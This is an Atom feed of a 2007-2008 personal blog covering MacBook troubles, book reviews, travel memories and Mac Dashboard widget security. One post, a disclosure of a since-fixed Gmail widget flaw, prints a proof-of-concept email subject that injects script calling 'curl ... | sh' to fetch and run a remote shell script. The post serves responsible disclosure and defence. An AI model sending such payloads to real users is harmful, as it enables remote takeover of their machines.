<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
   <title>No Such Weblog</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/" />
   <link rel="self" type="application/atom+xml" href="http://log.does-not-exist.org/atom.xml" />
   <id>tag:log.does-not-exist.org,2008://2</id>
   <updated>2008-02-23T12:44:42Z</updated>
   <subtitle>Thomas Roessler&apos;s notes on geek life in Luxembourg -- and less virtual topics.</subtitle>
   <generator uri="http://www.sixapart.com/movabletype/">Movable Type 3.35</generator>

<entry>
   <title>Enough with the Mac Blogging already...</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/02/23/2168_enough_with_the_mac_blogging_already.html" />
   <id>tag:log.does-not-exist.org,2008://2.2168</id>
   
   <published>2008-02-23T10:24:26Z</published>
   <updated>2008-02-23T12:44:42Z</updated>
   
   <summary>... but before we return topics here to more productive things, let&apos;s note that Apple&apos;s support has so far been rather more impressive than IBM&apos;s: After exchanging some e-mails with their service provider here in Luxembourg and a phone call...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      ... but before we return topics here to more productive things, let&apos;s note that Apple&apos;s support has so far been rather more impressive than IBM&apos;s: After exchanging some e-mails with their service provider here in Luxembourg and a phone call on Wednesday, spare parts (a new top case assembly, for the case crack, and a new airport card) were waiting there when I brought the laptop on Friday. They were exchanged on the spot, and I took a repaired machine home an hour later. Also, quite mundanely, the service provider is, for once, a 10 minute bus ride from Luxembourg&apos;s central station -- instead of hiding in the countryside near Belgium, and even then only acting as a glorified post office.

I&apos;m not quite ready to declare victory, but so far, things look well.
      
   </content>
</entry>
<entry>
   <title>Time Machine desiderata</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/02/17/2167_time_machine_desiderata.html" />
   <id>tag:log.does-not-exist.org,2008://2.2167</id>
   
   <published>2008-02-17T21:26:01Z</published>
   <updated>2008-02-25T14:46:10Z</updated>
   
   <summary>Apart of the wireless and case problems, I&apos;m actually a reasonably happy Mac user -- which is, indeed, somewhat surprising after 10 years of Linux on the desktop. Among the things I like a lot with MacOS 10.5 (Leopard) is...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[Apart of the wireless and case problems, I'm actually a reasonably happy Mac user -- which is, indeed, somewhat surprising after 10 years of Linux on the desktop.

Among the things I like a lot with MacOS 10.5 (Leopard) is the TimeMachine backup program. It follows Kristian's law: Nobody wants backup, everybody wants restore. And the user interface for restoring data is cheesy enough to actually work. Kudos for that.

Well, almost: To be compliant with <a href="http://twitter.com/roessler/statuses/651026942">Norm's law</a>, there need to be at least two backups, on two different hard drives. And while Time Machine is indeed totally capable of doing that, it involves manually switching backup disks, and a lengthy first pass while the "new" disk is first used. Both of these seem unnecessary -- Time Machine should be able to recognize a backup drive, and it should be able to keep track locally of where it's putting backups, and what has happened since the last one to any given medium.

The other surprising gap is a lack of encrypted backups: On the one hand there's FileVault for encrypted home directories, and ample support for mounting encrypted volumes. There's even dynamically growing encrypted volumes, and support for easily creating them hidden in the hdiutil command line tool.

I'm seriously puzzled why TimeMachine doesn't make that kind of support available automatically.

Let's hope that things will improve soon, both from the wireless perspective, and in TimeMachine.

<i>Later:</i> It appears as though multiple disk mode works reasonably well; in particular, the additional pass through the entire disk stopped occurring after a while. However, there's still the dance through the preferences whenever the backup disk is changed.]]>
      
   </content>
</entry>
<entry>
   <title>MacBook Distractions</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/02/15/2166_macbook_distractions.html" />
   <id>tag:log.does-not-exist.org,2008://2.2166</id>
   
   <published>2008-02-15T20:50:37Z</published>
   <updated>2008-02-15T21:21:29Z</updated>
   
   <summary>I had ranted before about the occasional trouble that I&apos;m experiencing with the MacBook&apos;s wireless card. The symptoms continue to occur: Typically at home (when the machine is in the same place and sits on my desk for extended amounts...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term=".sucks" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[I had <a href="http://log.does-not-exist.org/archives/2008/01/23/2164_macbook_wireless_woes.html">ranted before</a> about the occasional trouble that I'm experiencing with the MacBook's wireless card.

The symptoms continue to occur: Typically at home (when the machine is in the same place and sits on my desk for extended amounts of time, sometimes days), typically during work hours, often when somebody else toys around with a network nearby, and only reproducible when I really can't use them.  In other words: At least here, the MacBook isn't reliable accessing the wireless network during work hours, and I can't figure out anything in particular that I can do to trigger or avoid the problem.

(It's also clear that the problem isn't with the access point, as other machines here have no problem. Including a wifi enabled mobile phone and the Thinkpad. This is a genuine client issue, genuinely on the Mac.)

<a href="http://www.google.com/search?q=ath_chan_set+unable+to+reset">Searching around online</a> has been a fool's errand and a time sink as well: While there are quite a few examples of similar problem (and while discussion threads often have a "yeah, I have the same problem"), none of them yield useful information about either causes or cures for the problem. The only consolation is, maybe, that the trouble seems to be common across the BSDs and Linux, and is certainly not just a Mac problem. (That consolation is rather immaterial, though -- we are, after all, talking about a problem with the (Atheros) wireless card that ships in these machines. By default.)

From what I've seen so far, this could be a Heisenbug anywhere between overheating (a bad fan?), a loose contact, a bit of conducting dust on the motherboard, a buggy driver, neighbors' secretly building and testing EMP weapons while cooking pancakes, or sun spot activcity -- even though some general instability (two panics and a freeze within two hours or so, anyone?) this morning points at hardware troubles close to the motherboard. (Oh, of course all is stable now that I'm sitting in elsewhere and have the laptop balanced on my leg -- overheating, after all?)

The next step is presumably AppleCare -- and I'll probably have to see how well my environment is back-ported to Linux on the Thinkpad, since travel and work won't wait for Apple to get it's act together.

PS: A crack that occurs on the right-hand palm rest, toward the front, on about every MacBook I've seen, doesn't count as quality hardware either.

PS2: I do like MacOS's, and the overall machine's usability. Really. But, please, not in a less stable environment than what Linux on the Thinkpad gave me. Till that machine's motherboard broke, that is. 2 weeks repair time there.
]]>
      
   </content>
</entry>
<entry>
   <title>Geocaching waypoints for N95 and friends</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/02/03/2165_geocaching_waypoints_for_n95_and_friends.html" />
   <id>tag:log.does-not-exist.org,2008://2.2165</id>
   
   <published>2008-02-03T09:18:15Z</published>
   <updated>2008-02-03T09:20:52Z</updated>
   
   <summary>I&apos;ve gotten a bit curious about geocaching. However, being the lazy type, there is no way that I&apos;ll enter all these waypoints manually on a mobile phone keyboard. Therefore, here&apos;s an XSLT sheet to convert geocaching LOC files to Nokia...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[I've gotten a bit curious about <a href="http://www.geocaching.com">geocaching</a>.  However, being the lazy type, there is no way that I'll enter all these waypoints manually on a mobile phone keyboard.

Therefore, here's an XSLT sheet to <a href="http://does-not-exist.org/2008/02/loc2lmx.xsl">convert geocaching LOC files to Nokia LMX files</a>.  Just store the result in a file with the extension <code>.lmx</code> and drop it on your N95.

]]>
      
   </content>
</entry>
<entry>
   <title>MacBook wireless woes</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/01/23/2164_macbook_wireless_woes.html" />
   <id>tag:log.does-not-exist.org,2008://2.2164</id>
   
   <published>2008-01-23T11:30:20Z</published>
   <updated>2008-02-13T15:24:27Z</updated>
   
   <summary>It seems like the combination of a somewhat dated Linksys WRT54G and the MacBook wasn&apos;t made in heaven. Every once in a while, I find something like this in my laptop&apos;s log files: Jan 23 11:04:27 iCoaster kernel[0]: ath_reset: unable...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term=".sucks" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[It seems like the combination of a somewhat dated Linksys WRT54G and the MacBook wasn't made in heaven. Every once in a while, I find something like this in my laptop's log files:

<pre>
Jan 23 11:04:27 iCoaster kernel[0]:
 ath_reset: unable to reset hardware; hal status 3
Jan 23 11:04:28 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 1 (2412 Mhz)
Jan 23 11:04:29 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 6 (2437 Mhz)
Jan 23 11:04:30 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 11 (2462 Mhz)
Jan 23 11:04:30 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 7 (2442 Mhz)
Jan 23 11:04:30 iCoaster configd[50]:
 posting notification com.apple.system.config.network_change
Jan 23 11:04:32 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 13 (2472 Mhz)
Jan 23 11:04:33 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 52 (5260 Mhz)
Jan 23 11:04:34 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 56 (5280 Mhz)
Jan 23 11:04:35 iCoaster kernel[0]:
 ath_chan_set: unable to reset channel 60 (5300 Mhz)
</pre>

These effects occur once or twice a week, and aren't really helpful in the middle of trying to work. Overall, this has the stink of a driver issue. Googling around shows that there have been dropped connection issues between Linksys routers and Apple wireless cards for a long time, without Apple coming up with a useful fix.

<i>Update, 2008-02-13</i> -- the woes continue on MacOS 10.5.2.  They seem strangely correlated to the presence of a "secure" ad-hoc network here which, I believe, is caused by some Philips entertainment electronics. The name is WASC-.....]]>
      
   </content>
</entry>
<entry>
   <title>Waiting for the Treo replacement</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/01/17/2163_waiting_for_the_treo_replacement.html" />
   <id>tag:log.does-not-exist.org,2008://2.2163</id>
   
   <published>2008-01-17T10:37:40Z</published>
   <updated>2008-01-17T10:44:15Z</updated>
   
   <summary>I&apos;ve been a happy user of my Palm Treo 650 for quite a while, but -- let&apos;s face it -- it&apos;s starting to be old. Too bad that there doesn&apos;t seem to be a device out there that has quite...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[I've been a happy user of my Palm Treo 650 for quite a while, but -- let's face it -- it's starting to be old. Too bad that there doesn't seem to be a device out there that has quite the edge over that old brick that would make me buy it.

Here are the requirements that I'd like to see combined in one device, but can't seem to find combined:

<ul>
<li>Decent full keyboard -- anything that uses T9 and similar predictive technologies seems to deal badly with mixing languages.  And yes, I type both German and English into my mobile.</li>
<li>3G, please.  I want to be able to use a single device in Europe, the US, and Japan.  That's not possible with either the Treo or the iPhone.</li>
<li>GPS and maps, please. I regularly use Google Maps for the Treo; a phone with a built-in GPS receiver would be great.</li>
<li>Decent web browser -- neither Blazer nor Opera Mini really cuts it on the Teo.</li>
<li>Wi-Fi and Bluetooth, of course.</li>
<li>Third party applications.</li>
<li>Not bound to a particular carrier, and certainly not bound to a particular carrier's more expensive contracts.</li>
<li>Smaller form factor.  The Treo is quite heavy; I wouldn't want the next one to be as heavy or thick.</li>
</ul> 

Anybody know a device that fits the description?]]>
      
   </content>
</entry>
<entry>
   <title>Robert Harris, The Ghost</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/01/06/2162_robert_harris_the_ghost.html" />
   <id>tag:log.does-not-exist.org,2008://2.2162</id>
   
   <published>2008-01-06T13:35:45Z</published>
   <updated>2008-01-06T13:53:58Z</updated>
   
   <summary>Robert Harris&apos; &quot;Ghost&quot; reminded me a lot of the anonymously published &quot;Primary Colors&quot;, at least during the first few chapters: Where Primary Colors is obviously a roman a clef about the Clintons, the Ghost as obviously deals with the Blairs....</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Books" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      Robert Harris&apos; &quot;Ghost&quot; reminded me a lot of the anonymously published &quot;Primary Colors&quot;, at least during the first few chapters: Where Primary Colors is obviously a roman a clef about the Clintons, the Ghost as obviously deals with the Blairs. Where Primary Colors is told from the perspective of a political aide who gets suddenly drawn into the maelstrom of primary politics, the Ghost is told from the perspective of a ghostwriter who is called in to  finish the former prime minister&apos;s memoirs (for a premium), after the previous ghost (formerly a political aide to the prime minister) has mysteriously deceased.

In both novels, the narrator emerges on a journey that brings him closer to his political couple of choice than he&apos;d ever have dreamed. But where Primary Colors tells of mostly credible abysses and explores personalities, Harris&apos; thriller takes its reader on a different trip, along with the ghostwriter who tries to understand his &quot;author&quot;:  Just how far, you believe, does the special partnership between the US and the UK go? Just how little do you trust that former prime minister to have served his own country&apos;s interests? And, just what kind of motives are you willing to accept for that? 

In other words, where precisely do you think Harris crosses the line from a fairly plausible roman a clef into pure, James Bond like fiction?

Besides being a well-written, captivating, and entertaining thriller, the Ghost also leaves its reader with quite a bit of uneasiness. It&apos;s a book of our times.

      
   </content>
</entry>
<entry>
   <title>From Schengen to Berlin</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/01/05/2161_from_schengen_to_berlin.html" />
   <id>tag:log.does-not-exist.org,2008://2.2161</id>
   
   <published>2008-01-05T12:49:49Z</published>
   <updated>2008-01-05T14:27:12Z</updated>
   
   <summary>My colleagues Ivan Hermann and Richard Ishida are sharing some experiences from the &quot;old time&quot;, when traveling into (and out of) Hungary meant crossing borders and facing guard dogs and Kalashnikovs. Hungary is now a Schengen state, which means that...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[<a href="http://www.flickr.com/photos/roessler/266744220/" title="High water marks by Thomas Roessler, on Flickr"><img align="right" src="http://farm1.static.flickr.com/104/266744220_08c88dd7a8_m.jpg" width="160" height="240" alt="High water marks" /></a>My colleagues <a href="http://ivanherman.wordpress.com/2007/12/20/schengen-non%E2%80%93borders/">Ivan Hermann</a> and <a href="http://rishida.net/blog/?p=129">Richard Ishida</a> are sharing some experiences from the "old time", when traveling into (and out of) Hungary meant crossing borders and facing guard dogs and Kalashnikovs. Hungary is now a Schengen state, which means that crossing its border toward Austria is as easy as crossing the borders between Luxembourg and Germany, or Luxembourg and France, or France and Germany -- in short, the borders that meet around the little village of Schengen that has given its name to the contract, just a few dozen kilometers south of where I now live. I often tell of the marks that remind of past floodings in nearby Sierck-les-Bains, and how they change languages, testimony to just often war ravaged this area, how often borders moved here, and how absurd they are to the people who live on them.

While I never crossed the Hungarian part of the iron curtain when it was still up, the most lasting memory of my first time in Berlin - a school trip, in the last week of August in 1989, just weeks before the DDR started collapsing - was our one-day visit to the eastern part of the city. I believe that we took the subway from somewhere in Western Berlin (not the S train from Zoo as we did last week, coming back from chestnuts and Gl&uuml;hwein and a look at Kurf&uuml;rstendamm). I remember our passing (in 1989) through badly-lit, machine gun and camera infested, but otherwise abandoned, stations on the Eastern side (without even slowing down); finally, the train stopped at Friedrichstrasse, which I once again remember as a fairly colorless affair. What I remember of the border controls that followed are grey and somewhat claustrophobic corridors, and a distinctive sense of fear; the details have all become fuzzy. We were all glad when we finally emerged from Bahnhof Friedrichstrasse. Back then, it was known as the palace of tears: This was where Eastern and Western relatives would kiss good-bye, and where following across the border was suicidal for those from the East. (Needless to say, we were rather happy when we made it back to the West that night.)

This New Year's eve, we passed through Bahnhof Friedrichstrasse many times, by subway, S train, and walking. Going from Friedrichstrasse toward the Reichstag (and further along what's now known as the street of 17 June), we walked across what was once the deadly strip around the Berlin wall. That night, the Brandenburg gate was off limits only because there were too many people there.<a href="http://www.flickr.com/photos/roessler/2168110679/" title="Berlin 1989 by Thomas Roessler, on Flickr"><img align="right" src="http://farm3.static.flickr.com/2232/2168110679_c512241c64_m.jpg" width="240" height="160" alt="Berlin 1989" /></a> It's normal like that now, and it has always been like that for those who will first attend an election this year.

The accession to Schengen of Hungary and other countries that used to be on the eastern side of the iron curtain means that, soon, not having to show one's papers when one crosses a border will be normal for them, too. And that's really great.

Yet, it's important to remember that the world hasn't always been like this. That there were times when borders were insurmountable, when moving from one country into another meant risking one's life, for those who had ended up on the wrong side of that border; and that there are indeed borders in this world of which that's still true.

That's why stories like Richard's and Ivan's are so important, and why I dug out that almost 20 year old photo of the Brandenburg gate from a pile of old pictures.
]]>
      
   </content>
</entry>
<entry>
   <title>Jack Goldsmith, The Terror Presidency</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/01/04/2154_jack_goldsmith_the_terror_presidency.html" />
   <id>tag:log.does-not-exist.org,2007://2.2154</id>
   
   <published>2008-01-04T13:24:00Z</published>
   <updated>2008-01-04T12:26:35Z</updated>
   
   <summary>Lessig&apos;s blog entry about Jack Goldsmith&apos;s &quot;Terror Presidency&quot; made me curious enough to get and read the book. Goldsmith - a staunch conservative, who ultimately believes that most of the things that the Bush government actually does are right and...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Books" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[<a title="The Terror Presidency: Hard questions for all of us (Lessig Blog)" href="http://lessig.org/blog/2007/11/the_terror_presidency_hard_que.html">Lessig's blog entry</a> about Jack Goldsmith's "Terror Presidency" made me curious enough to get and read the book.

Goldsmith - a staunch conservative, who ultimately believes that most of the things that the Bush government actually <b>does</b> are right and appropriate - was propelled from academia first into the Pentagon, then to heading the Office of Legal Counsel, a position in which he was effectively the chief legal arbiter of what the executive branch is allowed to do by law, and what it isn't. There, he found himself revoking a set of legal opinions (the torture memos) that asserted quasi-absolute presidential power, in order to authorize practices that Goldsmith believes were appropriate under applicable law. This revocation put him at the center of a struggle within the Bush administration, where the fear of the next attack meets arrogance and a desire to not consult.

The book, then, has two main threads of discussion: On the one hand, the mentality and working environment within the Bush government; on the other, the comparison of Bush's political strategy with Roosevelt's during World War II: In Goldsmith's view, Roosevelt, like Bush, had to step to the edges of what was legal, and sometimes beyond. But where Bush's asserted presidential authority is often based on shoddy legal reasoning, Roosevelt's authority was based on building broad political and public support for his actions. Where Roosevelt strengthened the presidency by building authority, not asserting it, Bush weakens it, by asserting authority, and deliberately not building broad support.

Overall, an illuminating (though chilly) read, in particular to this reader who is neither American, nor a lawyer.]]>
      
   </content>
</entry>
<entry>
   <title>When Widgets Go Bad</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/28/2160_when_widgets_go_bad.html" />
   <id>tag:log.does-not-exist.org,2007://2.2160</id>
   
   <published>2007-12-28T15:32:56Z</published>
   <updated>2008-01-09T19:55:31Z</updated>
   
   <summary>My lightning talk from 24c3 this morning, on youtube:...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[My lightning talk from 24c3 this morning, on youtube:

<object width="425" height="350"> <param name="movie" value="http://www.youtube.com/v/G7wcfu367T4"/> <embed src="http://www.youtube.com/v/G7wcfu367T4" type="application/x-shockwave-flash" width="425" height="350"/> </object>]]>
      
   </content>
</entry>
<entry>
   <title>More on widgets: When one e-mail is enough to break a system.</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/19/2159_more_on_widgets_when_one_email_is_enough_to_break_a_system.html" />
   <id>tag:log.does-not-exist.org,2007://2.2159</id>
   
   <published>2007-12-19T20:28:19Z</published>
   <updated>2008-01-09T21:19:22Z</updated>
   
   <summary>Excuse the widget blogging hiatus, please; I held back on this one till Google had rolled out a fix. Our topic today, then, is the Gmail dashboard widget -- a handy dashboard frontend to Google Mail. As so many other...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[<p>Excuse the widget blogging hiatus, please; I held back on this one till <a href="http://googlemac.blogspot.com/2007/12/mac-os-x-dashboard-widget-security.html">Google had rolled out a fix</a>.</p>

<p><img src="http://does-not-exist.org/gmail-0.png" align="right"/>Our topic today, then, is the <a href="http://www.google.com/macwidgets/">Gmail dashboard widget</a> -- a handy dashboard frontend to Google Mail. As so many other widgets, this one, too, runs with access to the <code>widget.system</code> method. However, the bug in question here does not relate to <code>eval()</code>.  Instead, it's script-injection into the DOM due to a lack of output cleansing in the client-side JavaScript code. It's, effectively, the same kind of vulnerability that underlies cross-site-scripting vulnerabilities in servers; for a change, however, this is a client-side problem.</p>

<p>Consider this code fragment:</p>

<blockquote><pre>
      var titleText = MessagesTable
           .getTitleTextFromEntryElement(currentEntry);
      titleText =
          '&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class="title-class">' 
          + titleText
          + '&lt;/span>';
      if (Prefs.getShowSnippets()) {
        var summaryText = MessagesTable.getSummary(currentEntry);
        summaryText = '&lt;span class="snippet-class"> - ' 
          + summaryText
          + '&lt;/span>';
        titleText += summaryText;
      }
      titleText = "&lt;div class='table-overflow-col'>" 
        + titleText + "&lt;/div>";
      ...
      titleColumn.innerHTML = titleText;
</pre></blockquote>

<p>The use of the non-standard <code>innerHTML</code> property to write to the DOM here means that, if we can inject tags into the <code>titleText</code> variable, we can actually write tags into that document object model.</p>

<p>Instead of reading more code, I sent a first message to my GMail account, with this subject:</p>

<blockquote><pre>
 Subject: &lt;i>italic?&lt;/i>
</pre></blockquote>

<p>Now, guess how that message came out in the GMail widget... So, we can write tags into the DOM. The simple approach of just dropping some <code>&lt;script></code> tags into the subject header failed, though: <code>innerHTML</code> doesn't actually execute scripts right away.</p>

<p>However, this worked:</p>
<blockquote><pre>
Subject: &lt;a href="#" onmouseover=
  'var foo=widget.system ("curl http://does-not-exist.org/test
  | sh", null).outputString;'>&lt;span class="title-class">hi 
  there&lt;/span>&lt;/a>
</pre></blockquote>

<p>As soon as the mouse pointer hovered over the subject header of this message, a shell script would be downloaded from my web server, and then executed, with the user's privileges -- the machine was taken over by sending a single e-mail, combined with a likely and innocuous user interaction.</p>

<p>What this example (as the other, earlier ones) demonstrates is that, as Web technologies move to the desktop, bad coding practices move with them. However, what was once a problem that might affect one server-side application now tuns into a way to subvert client computers -- easily, quickly, and thoroughly, and with no more tools than the ability to write a simple e-mail.</p>

<p>Possible fixes to this problem include escaping any user-supplied data that is expected to contain text before feeding it to dangerous programming constructs such as <code>.innerHTML</code>, or using safer programming constructs such as <code>createTextNode</code>.</p>

<p>The recent observations about widgets suggest several more general points, though: On the one hand, figuring out useful security models for widgets is an important task (that the <a href="http://www.w3.org/2006/appformats/">W3C Web Application Formats Working Group</a>, which works on a <a href="http://www.w3.org/TR/widgets/">widget format</a>, will have to take on, together with the various widget vendors).</p>

<p>On the other hand, it's clear that fancy security models are not enough: We need to spread the word about sane programming practices for widgets, and quite likely some code review from those who advertise others' code as safe to download.</p>

<p>Finally, these kinds of issues are not just a problem with widgets: Just this Wednesday, <a href="http://www.news.com/Data-thieving-worm-targets-Orkut-users/2100-7349_3-6084932.html">Orkut</a> was hit by a worm that was exploiting server-side cross-site scripting vulnerabilities. As we see more and more cross-site requests and data flows -- either through <a href="http://www.w3.org/TR/access-control/">cross-site XMLHttpRequest</a>, or through <a href="http://developer.yahoo.com/common/json.html#callbackparam">deliberate cross-site script inclusion</a> --, we'll see attacks like these cross site boundaries. We'll also see combined server and client-side attacks, just enabled by web technologies.</p>

<p>I hope to talk more about this at <a href="http://events.ccc.de/congress/2007/Lightning_Talks">this year's Chaos Communication Congress</a> in Berlin, and perhaps at the <a href="http://www.www2008.org/">Web Conference</a> next April in Beijing.</p>]]>
      
   </content>
</entry>
<entry>
   <title>Copyright takes down the &quot;Bubble&quot;</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/11/2158_copyright_takes_down_the_bubble.html" />
   <id>tag:log.does-not-exist.org,2007://2.2158</id>
   
   <published>2007-12-11T19:51:04Z</published>
   <updated>2007-12-11T20:18:55Z</updated>
   
   <summary>The Richter Scales&apos; here comes another bubble was a fun video and an excellent mash-up -- while it lasted: What was the video&apos;s page on Youtube is now a notice that &quot;This video is no longer available due to a...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="Just Blogging" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[The <a href="http://www.richterscales.com/">Richter Scales</a>' <a href="http://www.youtube.com/watch?v=fi4fzvQ6I-o">here comes another bubble</a> was a fun video and an excellent mash-up -- while it lasted: What was the video's page on Youtube is now a notice that "This video is no longer available due to a copyright claim by a third party." On the Richter Scales' Blog, there are some musings about <a href="http://www.richterscales.com/blog/2007/12/credit-and-here-comes-another-bubble.php">mash-ups and credit</a>; no word about the takedown, yet.

<img style="padding: 3px; border: 1px dotted #aaa;" alt="richterscales.png" src="http://log.does-not-exist.org/richterscales.png" width="542" height="197" />

It'll be interesting to see what happened, and what will happen next -- at 690,575 views in some 10 days, this must be the highest-profile takedown in quite a while; for a change, it's a piece of art, and a parody.

]]>
      
   </content>
</entry>
<entry>
   <title>More on widgets: Exploring the Network</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/08/2157_more_on_widgets_exploring_the_network.html" />
   <id>tag:log.does-not-exist.org,2007://2.2157</id>
   
   <published>2007-12-08T00:33:34Z</published>
   <updated>2007-12-08T01:44:34Z</updated>
   
   <summary>In my last musings about widget security, I was very brief about the Flickr Interestingness and Hockey widgets. After all, they both just provide the AllowNetworkAccess capability. I had overlooked that there is a shared cookie store on the Mac,...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[In my <a href="http://log.does-not-exist.org/archives/2007/12/04/2156_show_me_a_jsonbased_widget.html">last musings about widget security</a>, I was very brief about the Flickr Interestingness and Hockey widgets. After all, they both just provide the <code>AllowNetworkAccess</code> capability. I had overlooked that there is a <a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSHTTPCookieStorage_Class/Reference/Reference.html">shared cookie store</a> on the Mac, shared, that is, at least by Safari and the Dashboard. From a bit of experimenting, it seems like that sharing affects all non-session cookies.

Now, what does that mean? A widget with the <code>AllowNetworkAccess</code> privilege can issue HTTP requests anywhere.  These HTTP requests will carry the same cookies as a request from a just-started Safari instance. Therefore, any Web application that relies on persistent cookies for authentication (like many Web 2.0 services) can be used by such a Widget <i>without the user's permission</i>.

There are several attack scenarios here: A subverted widget could be a bridgehead behind a corporate firewall, with convenient access to intranet applications. And when a Web 2.0 site serves as the path through which a widget is exploited, then subverting widgets with <code>AllowNetworkAccess</code> might in fact be enough to deploy some rather interesting malware.
]]>
      
   </content>
</entry>
<entry>
   <title>Show me a JSON-based Widget...</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/04/2156_show_me_a_jsonbased_widget.html" />
   <id>tag:log.does-not-exist.org,2007://2.2156</id>
   
   <published>2007-12-04T16:54:45Z</published>
   <updated>2007-12-18T21:39:28Z</updated>
   
   <summary>... and I show you an unguarded eval(). Today&apos;s examples: The Facebook Widget accesses about a dozen facebook APIs through JSON. It&apos;s based on the facebook JS Library. And guess what the parseJSON routine in that library really is? This...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[... and I show you an unguarded <code>eval()</code>.

Today's examples:

<ul>
<li>The <a href="http://www.apple.com/downloads/dashboard/email_messaging/facebookwidget.
html">Facebook Widget</a> accesses about a dozen facebook APIs through JSON. It's based on the <a href="http://developersdigest.org/wordpress/?page_id=4">facebook JS Library</a>. And guess what the parseJSON routine in that library really is? This widget runs with the <code>AllowFullAccess</code> configuration option set.</li>
<li>The <a href="http://www.apple.com/downloads/dashboard/blogs_forums/flickrinterestingness.html">Flickr Interestingness</a> widget is another culprit. This one only runs with the <code>AllowInternetPlugins</code> flag; if subverted, it might give an attacker access to, say, the latest Quicktime hole. Don't think it's enough to secure your browser.</li>
<li>The <a href="http://www.apple.com/downloads/dashboard/sports/hockeywidget.html">Hockey Widget</a> doesn't do JSON; instead, it loads some web page and parses an embedded script by, you guess it, feeding it to <code>eval()</code>, after some minor searching and replacing. <code>AllowNetworkAccess</code> is set.</li>
</ul>

